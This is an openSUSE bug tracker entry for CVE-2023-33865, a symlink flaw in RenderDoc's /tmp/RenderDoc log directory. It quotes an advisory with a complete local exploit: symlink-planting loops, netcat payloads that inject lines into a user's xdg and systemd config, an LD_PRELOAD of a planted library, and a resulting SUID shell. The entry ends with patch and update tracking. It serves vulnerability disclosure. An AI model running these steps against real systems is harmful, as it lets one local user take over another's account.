Bugzilla – Bug 1212089
VUL-0: CVE-2023-33865: renderdoc: symlink vulnerability in /tmp/RenderDoc
Last modified: 2023-09-25 13:06:04 UTC
From oss-security: - CVE-2023-33865, a symlink vulnerability that is exploitable by any unprivileged local attacker to obtain the privileges of the user who runs RenderDoc. The exact details of this symlink vulnerability made it quite interesting and challenging to exploit. ------------------------------------------------------------------------ Analysis ------------------------------------------------------------------------ As soon as librenderdoc.so is LD_PRELOADed into the application to be debugged, its library_loaded() function: - creates the directory /tmp/RenderDoc, or reuses it if it already exists, even if it does not belong to the user who runs RenderDoc (Alice, in this advisory); - opens (and possibly creates) a log file of the form /tmp/RenderDoc/RenderDoc_app_YYYY.MM.DD_hh.mm.ss.log, and writes to it in append mode: ------------------------------------------------------------------------ 507 open(filename.c_str(), O_APPEND | O_WRONLY | O_CREAT, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH); ------------------------------------------------------------------------ Consequently, a local attacker can create /tmp/RenderDoc before Alice runs RenderDoc, and can populate this directory with numerous symlinks (of the form /tmp/RenderDoc/RenderDoc_app_YYYY.MM.DD_hh.mm.ss.log) that point to an arbitrary file in the filesystem; when Alice runs RenderDoc, this file will be created (if it does not exist already) and written to, with Alice's privileges. The attacker can write arbitrary strings into this file (by sending these strings to RenderDoc on TCP port 38920), but unfortunately for the attacker, RenderDoc prepends each of these strings with a header that is not controlled by the attacker (and if the attacker sends a string that contains \n characters, then RenderDoc splits this string into multiple lines and prepends each line with the uncontrolled header), and this uncontrolled header makes it impossible for the attacker to achieve privilege escalation via Alice's usual dotfiles (.profile, .bashrc, .ssh/authorized_keys, etc). In the following example, the attacker (the user "nobody") writes arbitrary shell commands into Alice's .bashrc file, but the uncontrolled header that is prepended by RenderDoc causes a syntax error and prevents Alice's shell from executing the attacker's commands: ------------------------------------------------------------------------ nobody$ mkdir -m 0777 /tmp/RenderDoc nobody$ cd /tmp/RenderDoc nobody$ for ((i=0; i<600; i++)); do ln -sf /home/alice/.bashrc "$(date -d "now + $i seconds" +'RenderDoc_app_%Y.%m.%d_%H.%M.%S.log')"; done ------------------------------------------------------------------------ alice$ LD_PRELOAD=/usr/lib/librenderdoc.so sleep 600 ------------------------------------------------------------------------ nobody$ s='$(id)'$';id;\nid\n#' nobody$ printf '%08x\n' "$(printf '%s' "$s" | wc -c)" 0000000e nobody$ printf '\2\0\0\0\0\0\0\0\1\0\0\0\x0e\x00\x00\x00%s\0\0\0\0%064x' "$s" 1 | nc -nv 127.0.0.1 38920 (UNKNOWN) [127.0.0.1] 38920 (?) open ------------------------------------------------------------------------ alice$ bash bash: /home/alice/.bashrc: line 114: syntax error near unexpected token `(' bash: /home/alice/.bashrc: line 114: `RDOC 003906: [05:50:25] core.cpp( 499) - Log - RenderDoc v1.26 Linux 64-bit Release (4524cddca999d52aff790b626f92bb21ae9fe41f) capturing application' alice$ cat /home/alice/.bashrc ... RDOC 003906: [05:50:25] core.cpp( 499) - Log - RenderDoc v1.26 Linux 64-bit Release (4524cddca999d52aff790b626f92bb21ae9fe41f) capturing application RDOC 003906: [05:50:25] settings.cpp( 460) - Log - Loading config from /home/alice/.renderdoc/renderdoc.conf RDOC 003906: [05:50:25] posix_libentry.cpp( 73) - Log - Loading into /usr/bin/sleep RDOC 003906: [05:50:25] gl_hooks.cpp( 280) - Log - Registering OpenGL hooks RDOC 003906: [05:50:25] glx_hooks.cpp( 811) - Log - Registering GLX hooks RDOC 003906: [05:50:25] egl_hooks.cpp(1073) - Log - Registering EGL hooks RDOC 003906: [05:50:25] vk_layer.cpp( 99) - Log - Registering Vulkan hooks RDOC 003906: [05:56:03] target_control.cpp( 489) - Log - Invalid/Unsupported handshake '$(id);id; RDOC 003906: [05:56:03] target_control.cpp( 489) - Log - id RDOC 003906: [05:56:03] target_control.cpp( 489) - Log - #' / 1 ------------------------------------------------------------------------ ------------------------------------------------------------------------ Exploitation ------------------------------------------------------------------------ We spent a long time on this uncontrolled-header problem, and eventually found the following two-step solution: 1/ We transform RenderDoc's symlink vulnerability into an arbitrary directory creation, by writing to the file .config/user-dirs.defaults in Alice's home directory: we write SYSTEMD=.config/systemd into this file, and the next time Alice logs in, xdg-user-dirs-update will automatically create the directory .config/systemd in Alice's home directory. But how did we solve the uncontrolled-header problem? xdg-user-dirs-update calls fgets() to read lines of at most 512 bytes from .config/user-dirs.defaults, so if we write a string longer than 512 bytes into this file, then one fgets() will return a line that ends in the middle of our long string, and the next fgets() will return a line that starts in the middle of our long string: i.e., a line that starts with our own data, not with RenderDoc's uncontrolled header. 2/ We transform RenderDoc's symlink vulnerability into an arbitrary code execution, by writing to the file .config/systemd/user.conf in Alice's home directory (we already created the directory .config/systemd in 1/): we write DefaultEnvironment=LD_PRELOAD=/var/tmp/shell.so into this file, and the next time Alice logs in, systemd will execute our shared library /var/tmp/shell.so with Alice's privileges. But how did we solve the uncontrolled-header problem this time? systemd calls read_line_full() to read lines from .config/systemd/user.conf, and this function "Considers EOF, \n, \r and \0 end of line delimiters", so we simply use \r as a line delimiter to avoid the uncontrolled-header problem (indeed, RenderDoc only adds an uncontrolled header after \n, not after \r). ------------------------------------------------------------------------ nobody$ mkdir -m 0777 /tmp/RenderDoc nobody$ cd /tmp/RenderDoc nobody$ for ((i=0; i<600; i++)); do ln -sf /home/alice/.config/user-dirs.defaults "$(date -d "now + $i seconds" +'RenderDoc_app_%Y.%m.%d_%H.%M.%S.log')"; done ------------------------------------------------------------------------ alice$ LD_PRELOAD=/usr/lib/librenderdoc.so sleep 600 ------------------------------------------------------------------------ nobody$ s="$(printf '_% 512s SYSTEMD=.config/systemd\n#' ' ')" nobody$ printf '%08x\n' "$(printf '%s' "$s" | wc -c)" 0000021b nobody$ printf '\2\0\0\0\0\0\0\0\1\0\0\0\x1b\x02\x00\x00%s\0\0\0\0%064x' "$s" 1 | nc -nv 127.0.0.1 38920 (UNKNOWN) [127.0.0.1] 38920 (?) open ------------------------------------------------------------------------ The next time Alice logs in, the directory .config/systemd will be created in Alice's home directory; then: ------------------------------------------------------------------------ nobody$ mkdir -m 0777 /tmp/RenderDoc nobody$ cd /tmp/RenderDoc nobody$ for ((i=0; i<600; i++)); do ln -sf /home/alice/.config/systemd/user.conf "$(date -d "now + $i seconds" +'RenderDoc_app_%Y.%m.%d_%H.%M.%S.log')"; done ------------------------------------------------------------------------ alice$ LD_PRELOAD=/usr/lib/librenderdoc.so sleep 600 ------------------------------------------------------------------------ nobody$ s=$'_\r[Manager]\rDefaultEnvironment=LD_PRELOAD=/var/tmp/shell.so\r#' nobody$ printf '%08x\n' "$(printf '%s' "$s" | wc -c)" 0000003d nobody$ printf '\2\0\0\0\0\0\0\0\1\0\0\0\x3d\x00\x00\x00%s\0\0\0\0%064x' "$s" 1 | nc -nv 127.0.0.1 38920 (UNKNOWN) [127.0.0.1] 38920 (?) open ------------------------------------------------------------------------ The next time Alice logs in, our shared library /var/tmp/shell.so will be executed with Alice's privileges and will create a SUID shell in /var/tmp; then: ------------------------------------------------------------------------ nobody$ /var/tmp/shell -p $ id uid=65534(nobody) gid=65534(nogroup) euid=1000(alice) groups=65534(nogroup) ^^^^^^^^^^^^^^^^ ------------------------------------------------------------------------
Fixed in 1.27 via the following commits (also contains fixes for bsc#1212086, bsc#1212088): https://github.com/baldurk/renderdoc/commit/601ed56111ce3803d8476d438ade1c92d6092856 https://github.com/baldurk/renderdoc/commit/e0464fea4f9a7f149c4ee1d84e5ac57839a4a862 https://github.com/baldurk/renderdoc/commit/1f72a09e3b4fd8ba45be4b0db4889444ef5179e2 https://github.com/baldurk/renderdoc/commit/203fc8382a79d53d2035613d9425d966b1d4958e https://github.com/baldurk/renderdoc/commit/771aa8e7
Tracking as affected: - openSUSE:Backports:SLE-15-SP5/renderdoc 1.24 - openSUSE:Factory/renderdoc 1.26 Please update it to a non vulnerable version.
renderdoc v1.27 is now submitted to: - openSUSE:Backports:SLE-15-SP5 - openSUSE:Factory
The update to v1.27 got declined due to licensing issues. Instead I've submitted an update to v1.24 which contains the required security fixes. See: https://build.opensuse.org/request/show/1108054
openSUSE-SU-2023:0253-1: An update that fixes three vulnerabilities is now available. Category: security (important) Bug References: 1212086,1212088,1212089 CVE References: CVE-2023-33863,CVE-2023-33864,CVE-2023-33865 JIRA References: Sources used: openSUSE Backports SLE-15-SP5 (src): renderdoc-1.24-bp155.2.3.1